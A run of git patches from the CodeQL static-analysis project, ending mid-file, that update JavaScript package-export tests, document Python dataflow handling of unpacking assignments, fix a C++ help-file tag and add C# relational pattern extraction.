From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 15 Jan 2021 17:40:47 +0100 Subject: [PATCH 0620/1241] update expected output, and update PackageExports test --- .../PackageExports/absent_main/package.json | 1 + .../library-tests/PackageExports/lib1/foo.js | 2 +- .../library-tests/PackageExports/lib1/main.js | 6 +-- .../PackageExports/lib1/package.json | 1 + .../PackageExports/tests.expected | 48 ++++--------------- 5 files changed, 16 insertions(+), 42 deletions(-) diff --git a/javascript/ql/test/library-tests/PackageExports/absent_main/package.json b/javascript/ql/test/library-tests/PackageExports/absent_main/package.json index 16a46fa2349..c608e602842 100644 --- a/javascript/ql/test/library-tests/PackageExports/absent_main/package.json +++ b/javascript/ql/test/library-tests/PackageExports/absent_main/package.json @@ -1,3 +1,4 @@ { + "name": "foo", "main": "dist/does-not-exist.js" } diff --git a/javascript/ql/test/library-tests/PackageExports/lib1/foo.js b/javascript/ql/test/library-tests/PackageExports/lib1/foo.js index 48c64d64bd1..8b4fe3d58c0 100644 --- a/javascript/ql/test/library-tests/PackageExports/lib1/foo.js +++ b/javascript/ql/test/library-tests/PackageExports/lib1/foo.js @@ -1,3 +1,3 @@ module.exports = function thisIsRequiredFromMain() {} -module.exports.foo = function alsoExported() {} \ No newline at end of file +module.exports.foo = function alsoExported(d) {} \ No newline at end of file diff --git a/javascript/ql/test/library-tests/PackageExports/lib1/main.js b/javascript/ql/test/library-tests/PackageExports/lib1/main.js index e2c92b0b323..214bec626cd 100644 --- a/javascript/ql/test/library-tests/PackageExports/lib1/main.js +++ b/javascript/ql/test/library-tests/PackageExports/lib1/main.js @@ -3,9 +3,9 @@ module.exports = function isExported() {} module.exports.foo = require("./foo.js") module.exports.bar = class Bar { - constructor() {} // all are exported - static staticMethod() {} - instanceMethod() {} + constructor(a) {} // all are exported + static staticMethod(b) {} + instanceMethod(c) {} } class Baz { diff --git a/javascript/ql/test/library-tests/PackageExports/lib1/package.json b/javascript/ql/test/library-tests/PackageExports/lib1/package.json index 1855dfc2f88..e71185c8228 100644 --- a/javascript/ql/test/library-tests/PackageExports/lib1/package.json +++ b/javascript/ql/test/library-tests/PackageExports/lib1/package.json @@ -1,3 +1,4 @@ { + "name": "foo", "main": "main.js" } \ No newline at end of file diff --git a/javascript/ql/test/library-tests/PackageExports/tests.expected b/javascript/ql/test/library-tests/PackageExports/tests.expected index 392c3f33d80..648226a0d13 100644 --- a/javascript/ql/test/library-tests/PackageExports/tests.expected +++ b/javascript/ql/test/library-tests/PackageExports/tests.expected @@ -1,48 +1,20 @@ getTopmostPackageJSON -getAValueExportedBy -| absent_main/package.json:1:1:3:1 | {\\n " ... t.js"\\n} | absent_main/index.js:1:1:1:0 | this | -| absent_main/package.json:1:1:3:1 | {\\n " ... t.js"\\n} | absent_main/index.js:1:1:1:14 | module.exports | -| absent_main/package.json:1:1:3:1 | {\\n " ... t.js"\\n} | absent_main/index.js:1:1:1:18 | module.exports.foo | -| absent_main/package.json:1:1:3:1 | {\\n " ... t.js"\\n} | absent_main/index.js:1:22:1:21 | this | -| absent_main/package.json:1:1:3:1 | {\\n " ... t.js"\\n} | absent_main/index.js:1:22:1:34 | function() {} | -| esmodules/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | esmodules/main.js:1:8:1:29 | functio ... ed() {} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/foo.js:1:1:1:0 | this | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/foo.js:1:1:1:53 | module. ... in() {} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/foo.js:1:18:1:53 | functio ... in() {} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/foo.js:3:1:3:14 | module.exports | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/foo.js:3:1:3:18 | module.exports.foo | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/foo.js:3:22:3:21 | this | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/foo.js:3:22:3:47 | functio ... ed() {} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:1:1:1:0 | this | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:1:1:1:41 | module. ... ed() {} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:1:18:1:41 | functio ... ed() {} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:3:1:3:14 | module.exports | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:3:1:3:18 | module.exports.foo | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:3:1:3:40 | module. ... oo.js") | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:3:22:3:40 | require("./foo.js") | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:5:1:5:14 | module.exports | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:5:1:5:18 | module.exports.bar | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:5:22:9:1 | class B ... () {}\\n} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:6:16:6:20 | () {} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:7:5:7:28 | static ... od() {} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:7:24:7:28 | () {} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:8:19:8:23 | () {} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:14:19:14:23 | () {} | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:17:1:17:14 | module.exports | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:17:1:17:18 | module.exports.Baz | -| lib1/package.json:1:1:3:1 | {\\n " ... n.js"\\n} | lib1/main.js:17:22:17:30 | new Baz() | -| lib1/sublib/package.json:1:1:3:1 | {\\n " ... b.js"\\n} | lib1/sublib/sublib.js:1:1:1:0 | this | -| lib1/sublib/package.json:1:1:3:1 | {\\n " ... b.js"\\n} | lib1/sublib/sublib.js:1:1:1:73 | module. ... rt() {} | -| lib1/sublib/package.json:1:1:3:1 | {\\n " ... b.js"\\n} | lib1/sublib/sublib.js:1:18:1:73 | functio ... rt() {} | +| absent_main/package.json:1:1:4:1 | {\\n " ... t.js"\\n} | +| lib1/package.json:1:1:4:1 | {\\n " ... n.js"\\n} | +getALibraryInputParameter +| lib1/foo.js:3:44:3:44 | d | +| lib1/main.js:6:17:6:17 | a | +| lib1/main.js:7:25:7:25 | b | +| lib1/main.js:8:20:8:20 | c | getAnExportedValue | absent_main/index.js:1:1:2:0 | <toplevel> | foo | absent_main/index.js:1:22:1:34 | function() {} | | esmodules/main.js:1:1:4:0 | <toplevel> | exported | esmodules/main.js:1:8:1:29 | functio ... ed() {} | | lib1/baz.js:1:1:5:1 | <toplevel> | bar | lib1/baz.js:4:10:4:26 | function bar() {} | | lib1/baz.js:1:1:5:1 | <toplevel> | foo | lib1/baz.js:3:10:3:26 | function foo() {} | -| lib1/foo.js:1:1:3:47 | <toplevel> | foo | lib1/foo.js:3:22:3:47 | functio ... ed() {} | +| lib1/foo.js:1:1:3:48 | <toplevel> | foo | lib1/foo.js:3:22:3:48 | functio ... d(d) {} | | lib1/main.js:1:1:17:30 | <toplevel> | Baz | lib1/main.js:17:22:17:30 | new Baz() | -| lib1/main.js:1:1:17:30 | <toplevel> | bar | lib1/main.js:5:22:9:1 | class B ... () {}\\n} | +| lib1/main.js:1:1:17:30 | <toplevel> | bar | lib1/main.js:5:22:9:1 | class B ... c) {}\\n} | | lib1/main.js:1:1:17:30 | <toplevel> | foo | lib1/main.js:3:22:3:40 | require("./foo.js") | | lib1/reexport/a.js:1:1:3:1 | <toplevel> | reexported | lib1/reexport/a.js:2:17:2:40 | functio ... ed() {} | | lib1/reexport/b.js:1:1:6:1 | <toplevel> | base | lib1/reexport/b.js:4:11:4:28 | function base() {} | -| lib1/reexport/b.js:1:1:6:1 | <toplevel> | reexported | lib1/reexport/a.js:2:17:2:40 | functio ... ed() {} | \ No newline at end of file +| lib1/reexport/b.js:1:1:6:1 | <toplevel> | reexported | lib1/reexport/a.js:2:17:2:40 | functio ... ed() {} | From 1edad03622b79a76cd1c01ebe280d404220cadd0 Mon Sep 17 00:00:00 2001 From: yoff <lerchedahl@gmail.com> Date: Fri, 15 Jan 2021 18:50:04 +0100 Subject: [PATCH 0621/1241] Apply suggestions from code review Co-authored-by: Rasmus Wriedt Larsen <rasmuswriedtlarsen@gmail.com> --- .../dataflow/new/internal/DataFlowPrivate.qll | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 73619af0bd4..91de5dc0412 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1034,7 +1034,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * sequence = iterable * ``` * where `sequence` is either a tuple or a list and it can contain wildcards. - * The iterable can be any iterable, which means that content will need to change type + * The iterable can be any iterable, which means that (CodeQL modeling of) content will need to change type * if it should be transferred from the LHS to the RHS. * * We may for instance have @@ -1046,7 +1046,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * * Using wildcards we may have * ```python - * (a, *b) = ("a", "b", "tainted string") # RHS has content `TupleElement(2)` + * (a, *b) = ("a", "b", "tainted string") # RHS has content `TupleElementContent(2)` * ``` * Since the starred variables are always assigned type list, `*b` will be * `["b", "tainted string]`, and we will again overapproximate and assign it @@ -1083,25 +1083,25 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * 1. [Flow] Content is transferred from `iterable` to `TIterableSequence(sequence)` via a * flow step. From here, everything happens on the LHS. * - * 1. [Flow] Content is transferred from `TIterableSequence(sequence)` to `sequence` via a + * 2. [Flow] Content is transferred from `TIterableSequence(sequence)` to `sequence` via a * flow step. * - * 1. [Read] Content is read from `TIterableSequence(sequence)` into `TIterableElement(sequence)`. + * 3. [Read] Content is read from `TIterableSequence(sequence)` into `TIterableElement(sequence)`. * If `sequence` is of type tuple, we will not read tuple content as that would allow * cross talk. * - * 1. [Store] Content is stored from `TIterableElement(sequence)` to `sequence`. + * 4. [Store] Content is stored from `TIterableElement(sequence)` to `sequence`. * Here the content type is chosen according to the type of sequence. * - * 1. [Read] Content is read from `sequence` to its elements according to the type of `sequence`. + * 5. [Read] Content is read from `sequence` to its elements according to the type of `sequence`. * If the element is a plain variable, the target is the corresponding essa node. * If the element is itelf a sequence, with control-flow node `seq`, the target is `TIterableSequence(seq)`. * If the element is a starred variable, with control-flow node `v`, the target is `TIterableElement(v)`. * - * 1. [Store] Content is stored from `TIterableElement(v)` to the essa variable for `v`, with + * 6. [Store] Content is stored from `TIterableElement(v)` to the essa variable for `v`, with * content type `ListElement`. * - * 1. [Flow, Read, Store] The last 5 steps are repeated for all recursive elements which are sequences. + * 7. [Flow, Read, Store] The last 5 steps are repeated for all recursive elements which are sequences. */ module UnpackingAssignment { /** A direct (or top-level) target of an unpacking assignment */ @@ -1151,7 +1151,7 @@ module UnpackingAssignment { exists(int index | exists(target.getElement(index)) | c.(TupleElementContent).getIndex() = index ) - // leaving out dict content for now + // TODO: dict content in iterable unpacking not handled ) ) } From dcbae8b22bf77d68139e0897e561fb69daacec71 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Fri, 15 Jan 2021 19:47:09 +0100 Subject: [PATCH 0622/1241] Fix code tag. --- .../CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp index a739c12ef8b..df0ed151d8f 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp @@ -5,7 +5,7 @@ <overview> <p>Compiler optimization will exclude the cleaning of private information. Using the <code>memset</code> function to clear private data in a variable that has no subsequent use is potentially dangerous, since the compiler can remove the call. -For some compilers, optimization is also possible when using calls to free memory after the <code>memset</codee> function.</p> +For some compilers, optimization is also possible when using calls to free memory after the <code>memset</code> function.</p> <p>It is possible to miss detection of vulnerabilities if used to clear fields of structures or parts of a buffer.</p> From 5f189a7e4339adbfee63461d4c15345aea67924e Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Fri, 15 Jan 2021 20:18:37 +0100 Subject: [PATCH 0623/1241] Python: Address reviews --- .../dataflow/new/internal/DataFlowPrivate.qll | 105 ++++++++++++++---- .../dataflow/new/internal/DataFlowPublic.qll | 8 +- 2 files changed, 90 insertions(+), 23 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 91de5dc0412..36ad2871fa7 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -135,11 +135,6 @@ module EssaFlow { nodeTo = TIterableSequence(target) ) or - exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | - nodeFrom.asExpr() = assign.getValue() and - nodeTo.asCfgNode() = target - ) - or // With definition // `with f(42) as x:` // nodeFrom is `f(42)`, cfg node @@ -153,6 +148,10 @@ module EssaFlow { contextManager.strictlyDominates(var) ) or + // Paramter definition + // `def foo(x):` + // nodeFrom is `x`, cfgNode + // nodeTo is `x`, essa var exists(ParameterDefinition pd | nodeFrom.asCfgNode() = pd.getDefiningNode() and nodeTo.asVar() = pd.getVariable() @@ -175,6 +174,7 @@ module EssaFlow { // If expressions nodeFrom.asCfgNode() = nodeTo.asCfgNode().(IfExprNode).getAnOperand() or + // Flow inside an unpacking assignment unpackingAssignmentFlowStep(nodeFrom, nodeTo) or // Overflow keyword argument @@ -1039,7 +1039,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * * We may for instance have * ```python - * (a, b) = ["a", "tainted string"] # RHS has content `ListElement` + * (a, b) = ["a", "tainted string"] # RHS has content `ListElementContent` * ``` * Due to the abstraction for list content, we do not know whether `"tainted string"` * ends up in `a` or in `b`, so we want to overapproximate and see it in both. @@ -1054,14 +1054,14 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * * For a precise transfer * ```python - * (a, b) = ("a", "tainted string") # RHS has content `TupleElement(1)` + * (a, b) = ("a", "tainted string") # RHS has content `TupleElementContent(1)` * ``` * we wish to keep the precision, so only `b` receives the tuple content at index 1. * * Finally, `sequence` is actually a pattern and can have a more complicated structure, * such as * ```python - * (a, [b, *c]) = ("a", ("tainted string", "c")) # RHS has content `TupleElement(1); TupleElement(0)` + * (a, [b, *c]) = ("a", ("tainted string", "c")) # RHS has content `TupleElementContent(1); TupleElementContent(0)` * ``` * where `a` should not receive content, but `b` and `c` should. `c` will be `["c"]` so * should have the content converted and transferred, while `b` should read it. @@ -1071,7 +1071,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * For this we need a synthetic node in the middle, which we call `TIterableElement(receiver)`. * It is associated with the receiver of the transfer, because we know the receiver type from the syntax. * Since we sometimes need a converting read step (in the example above, `[b, *c]` reads the content - * `TupleElement(0)` but should have content `ListElement`), we actually need a second synthetic node. + * `TupleElementContent(0)` but should have content `ListElementContent`), we actually need a second synthetic node. * A converting read step is a read step followed by a converting transfer. * We can have a uniform treatment by always having two synthetic nodes and so we can view it as * two stages of the same node. So we read into (or transfer to) `TIterableSequence(receiver)`, @@ -1079,7 +1079,12 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * In order to preserve precise content, we also take a flow step from `TIterableSequence(receiver)` * directly to `receiver`. * - * The strategy is then via several read-, store-, and flow steps: + * The strategy is then via several read-, store-, and flow steps, illustrated on the assignment + * + * ```python + * (a, [b, *c]) = ["a", [SOURCE]] + * ``` + * * 1. [Flow] Content is transferred from `iterable` to `TIterableSequence(sequence)` via a * flow step. From here, everything happens on the LHS. * @@ -1094,17 +1099,61 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * Here the content type is chosen according to the type of sequence. * * 5. [Read] Content is read from `sequence` to its elements according to the type of `sequence`. - * If the element is a plain variable, the target is the corresponding essa node. - * If the element is itelf a sequence, with control-flow node `seq`, the target is `TIterableSequence(seq)`. - * If the element is a starred variable, with control-flow node `v`, the target is `TIterableElement(v)`. + * a) If the element is a plain variable, the target is the corresponding essa node. + * + * b) If the element is itelf a sequence, with control-flow node `seq`, the target is `TIterableSequence(seq)`. + * + * c) If the element is a starred variable, with control-flow node `v`, the target is `TIterableElement(v)`. * * 6. [Store] Content is stored from `TIterableElement(v)` to the essa variable for `v`, with - * content type `ListElement`. + * content type `ListElementContent`. + * (We will see this in step 7) * - * 7. [Flow, Read, Store] The last 5 steps are repeated for all recursive elements which are sequences. + * 7. [Flow, Read, Store] Steps 2 through 7 are repeated for all recursive elements which are sequences. + * + * + * We illustrate the above steps on the assignment + * ```python + * (a, [b, *c]) = ["a", [SOURCE]] + * ``` + * where the path to `c` is + * + * `["a", [SOURCE]]`: [ListElementContent; ListElementContent] + * + * --Step 1--> + * + * `TIterableSequence((a, [b, *c]))`: [ListElementContent; ListElementContent] + * + * --Step 3--> + * + * `TIterableElement((a, [b, *c]))`: [ListElementContent] + * + * --Step 4--> + * + * `(a, [b, *c])`: [TupleElementContent(1); ListElementContent] + * + * --Step 5b--> + * + * `TIterableSequence([b, *c])`: [ListElementContent] + * + * --Step 3--> + * + * `TIterableElement([b, *c])`: [] + * + * --Step 4--> + * + * `[b, *c]`: [ListElementContent] + * + * --Step 5c--> + * + * `TIterableElement(c)`: [] + * + * --Step 6--> + * + * `c`: [ListElementContent] */ module UnpackingAssignment { - /** A direct (or top-level) target of an unpacking assignment */ + /** A direct (or top-level) target of an unpacking assignment. */ class UnpackingAssignmentDirectTarget extends ControlFlowNode { Expr value; @@ -1116,7 +1165,7 @@ module UnpackingAssignment { Expr getValue() { result = value } } - /** A (possibly recursive) target of an unpacking assignment */ + /** A (possibly recursive) target of an unpacking assignment. */ class UnpackingAssignmentTarget extends ControlFlowNode { UnpackingAssignmentTarget() { this instanceof UnpackingAssignmentDirectTarget @@ -1129,15 +1178,22 @@ module UnpackingAssignment { ControlFlowNode getAnElement() { result = this.getElement(_) } } + /** A (possibly recursive) target of an unpacking assignment which is also a sequence. */ + class UnpackingAssignmentSequenceTarget extends UnpackingAssignmentTarget { + UnpackingAssignmentSequenceTarget() { this instanceof SequenceNode } + } + + /** Step 2 */ predicate unpackingAssignmentFlowStep(Node nodeFrom, Node nodeTo) { - exists(UnpackingAssignmentTarget target | target instanceof SequenceNode | + exists(UnpackingAssignmentSequenceTarget target | nodeFrom = TIterableSequence(target) and nodeTo.asCfgNode() = target ) } + /** Step 3 */ predicate unpackingAssignmentConvertingReadStep(Node nodeFrom, Content c, Node nodeTo) { - exists(UnpackingAssignmentTarget target | target instanceof SequenceNode | + exists(UnpackingAssignmentSequenceTarget target | nodeFrom = TIterableSequence(target) and nodeTo = TIterableElement(target) and ( @@ -1156,8 +1212,9 @@ module UnpackingAssignment { ) } + /** Step 4 */ predicate unpackingAssignmentConvertingStoreStep(Node nodeFrom, Content c, Node nodeTo) { - exists(UnpackingAssignmentTarget target | target instanceof SequenceNode | + exists(UnpackingAssignmentSequenceTarget target | nodeFrom = TIterableElement(target) and nodeTo.asCfgNode() = target and ( @@ -1172,6 +1229,7 @@ module UnpackingAssignment { ) } + /** Step 5 */ predicate unpackingAssignmentElementReadStep(Node nodeFrom, Content c, Node nodeTo) { exists(UnpackingAssignmentTarget target, int index, ControlFlowNode element, boolean precise | target instanceof SequenceNode @@ -1190,14 +1248,17 @@ module UnpackingAssignment { ( if element instanceof SequenceNode then + // Step 5b nodeTo = TIterableSequence(element) and precise = true else if element.getNode() instanceof Starred then + // Step 5c nodeTo = TIterableElement(element) and precise = false else ( + // Step 5a nodeTo.asVar().getDefinition().(MultiAssignmentDefinition).getDefiningNode() = element and precise = true ) @@ -1205,6 +1266,7 @@ module UnpackingAssignment { ) } + /** Step 6 */ predicate unpackingAssignmentStarredElementStoreStep(Node nodeFrom, Content c, Node nodeTo) { exists(ControlFlowNode starred | starred.getNode() instanceof Starred | nodeFrom = TIterableElement(starred) and @@ -1213,13 +1275,14 @@ module UnpackingAssignment { ) } - /** Data flows from an iterable to an assigned variable. */ + /** All read steps associated with unpacking assignment. */ predicate unpackingAssignmentReadStep(Node nodeFrom, Content c, Node nodeTo) { unpackingAssignmentElementReadStep(nodeFrom, c, nodeTo) or unpackingAssignmentConvertingReadStep(nodeFrom, c, nodeTo) } + /** All store steps associated with unpacking assignment. */ predicate unpackingAssignmentStoreStep(Node nodeFrom, Content c, Node nodeTo) { unpackingAssignmentStarredElementStoreStep(nodeFrom, c, nodeTo) or diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index f7595e231a1..92ff51b155b 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -330,7 +330,10 @@ class KwUnpacked extends Node, TKwUnpacked { /** * A synthetic node representing an iterable sequence. Used for changing content type - * for instance from a `ListElement` to a `TupleElement`. + * for instance from a `ListElement` to a `TupleElement`, especially if the content is + * transferred via a read step which cannot be broken up into a read and a store. The + * read step then targets TIterableSequence, and the conversion can happen via a read + * step to TIterableElement followed by a store step to the target. */ class IterableSequence extends Node, TIterableSequence { SequenceNode consumer; @@ -348,7 +351,8 @@ class IterableSequence extends Node, TIterableSequence { /** * A synthetic node representing an iterable element. Used for changing content type - * for instance from a `ListElement` to a `TupleElement`. + * for instance from a `ListElement` to a `TupleElement`. This would happen via a + * read step from the list to IterableElement followed by a store step to the tuple. */ class IterableElement extends Node, TIterableElement { ControlFlowNode consumer; From 175e43d6f2f94a1d2cb35bbde589b39807d67e7b Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Mon, 18 Jan 2021 09:12:05 +0100 Subject: [PATCH 0624/1241] Python: Slight refactor --- .../dataflow/new/internal/DataFlowPrivate.qll | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 36ad2871fa7..28d860eac12 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1170,17 +1170,17 @@ module UnpackingAssignment { UnpackingAssignmentTarget() { this instanceof UnpackingAssignmentDirectTarget or - this = any(UnpackingAssignmentTarget parent).getAnElement() + this = any(UnpackingAssignmentSequenceTarget parent).getAnElement() } - - ControlFlowNode getElement(int i) { result = this.(SequenceNode).getElement(i) } - - ControlFlowNode getAnElement() { result = this.getElement(_) } } /** A (possibly recursive) target of an unpacking assignment which is also a sequence. */ class UnpackingAssignmentSequenceTarget extends UnpackingAssignmentTarget { UnpackingAssignmentSequenceTarget() { this instanceof SequenceNode } + + ControlFlowNode getElement(int i) { result = this.(SequenceNode).getElement(i) } + + ControlFlowNode getAnElement() { result = this.getElement(_) } } /** Step 2 */ @@ -1231,8 +1231,8 @@ module UnpackingAssignment { /** Step 5 */ predicate unpackingAssignmentElementReadStep(Node nodeFrom, Content c, Node nodeTo) { - exists(UnpackingAssignmentTarget target, int index, ControlFlowNode element, boolean precise | - target instanceof SequenceNode + exists( + UnpackingAssignmentSequenceTarget target, int index, ControlFlowNode element, boolean precise | nodeFrom.asCfgNode() = target and element = target.getElement(index) and From f235a282959b5b6fe53fb1bf0535aba7fc3efe16 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 14 Jan 2021 11:50:20 +0100 Subject: [PATCH 0625/1241] C# Add relational patterns extraction --- .../2020-11-19-Relational-pattern.md | 3 + .../Entities/Expressions/Patterns/Pattern.cs | 3 + .../Expressions/Patterns/RecursivePattern.cs | 1 - .../Expressions/Patterns/RelationalPattern.cs | 29 ++++++++++ .../Kinds/ExprKind.cs | 4 ++ .../ql/src/semmle/code/csharp/exprs/Expr.qll | 39 +++++++++++++ csharp/ql/src/semmlecode.csharp.dbscheme | 5 ++ .../library-tests/csharp9/PrintAst.expected | 57 +++++++++++++++++++ .../csharp9/RelationalPattern.cs | 23 ++++++++ .../csharp9/relationalPattern.expected | 5 ++ .../csharp9/relationalPattern.ql | 4 ++ csharp/upgrades/to_change/upgrade.properties | 2 + 12 files changed, 174 insertions(+), 1 deletion(-) create mode 100644 csharp/change-notes/2020-11-19-Relational-pattern.md create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs create mode 100644 csharp/ql/test/library-tests/csharp9/RelationalPattern.cs create mode 100644 csharp/ql/test/library-tests/csharp9/relationalPattern.expected create mode 100644 csharp/ql/test/library-tests/csharp9/relationalPattern.ql create mode 100644 csharp/upgrades/to_change/upgrade.properties diff --git a/csharp/change-notes/2020-11-19-Relational-pattern.md b/csharp/change-notes/2020-11-19-Relational-pattern.md new file mode 100644 index 00000000000..77179884d12 --- /dev/null +++ b/csharp/change-notes/2020-11-19-Relational-pattern.md @@ -0,0 +1,3 @@ +lgtm,codescanning +* The `RelationalPatternExpr` and its 4 sub class have been added to support C# 9 +relational `<`, `>`, `<=`, and `>=` patterns. diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs index eef8f28b5fa..d2a8b6fde60 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/Pattern.cs @@ -45,6 +45,9 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions case RecursivePatternSyntax recPattern: return new RecursivePattern(cx, recPattern, parent, child); + case RelationalPatternSyntax relPattern: + return new RelationalPattern(cx, relPattern, parent, child); + case VarPatternSyntax varPattern: switch (varPattern.Designation) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs index 997c622c818..c6045f8cb14 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RecursivePattern.cs @@ -15,7 +15,6 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions /// <param name="syntax">The syntax node of the recursive pattern.</param> /// <param name="parent">The parent pattern/expression.</param> /// <param name="child">The child index of this pattern.</param> - /// <param name="isTopLevel">If this pattern is in the top level of a case/is. In that case, the variable and type access are populated elsewhere.</param> public RecursivePattern(Context cx, RecursivePatternSyntax syntax, IExpressionParentEntity parent, int child) : base(new ExpressionInfo(cx, Entities.NullType.Create(cx), cx.Create(syntax.GetLocation()), ExprKind.RECURSIVE_PATTERN, parent, child, false, null)) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs new file mode 100644 index 00000000000..9dce7bf7c52 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Patterns/RelationalPattern.cs @@ -0,0 +1,29 @@ +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CSharp; +using Semmle.Extraction.Kinds; +using Semmle.Extraction.Entities; + +namespace Semmle.Extraction.CSharp.Entities.Expressions +{ + internal class RelationalPattern : Expression + { + public RelationalPattern(Context cx, RelationalPatternSyntax syntax, IExpressionParentEntity parent, int child) : + base(new ExpressionInfo(cx, NullType.Create(cx), cx.Create(syntax.GetLocation()), GetKind(syntax.OperatorToken), parent, child, false, null)) + { + Expression.Create(cx, syntax.Expression, this, 0); + } + + private static ExprKind GetKind(SyntaxToken operatorToken) + { + return operatorToken.Kind() switch + { + SyntaxKind.LessThanEqualsToken => ExprKind.LE_PATTERN, + SyntaxKind.GreaterThanEqualsToken => ExprKind.GE_PATTERN, + SyntaxKind.LessThanToken => ExprKind.LT_PATTERN, + SyntaxKind.GreaterThanToken => 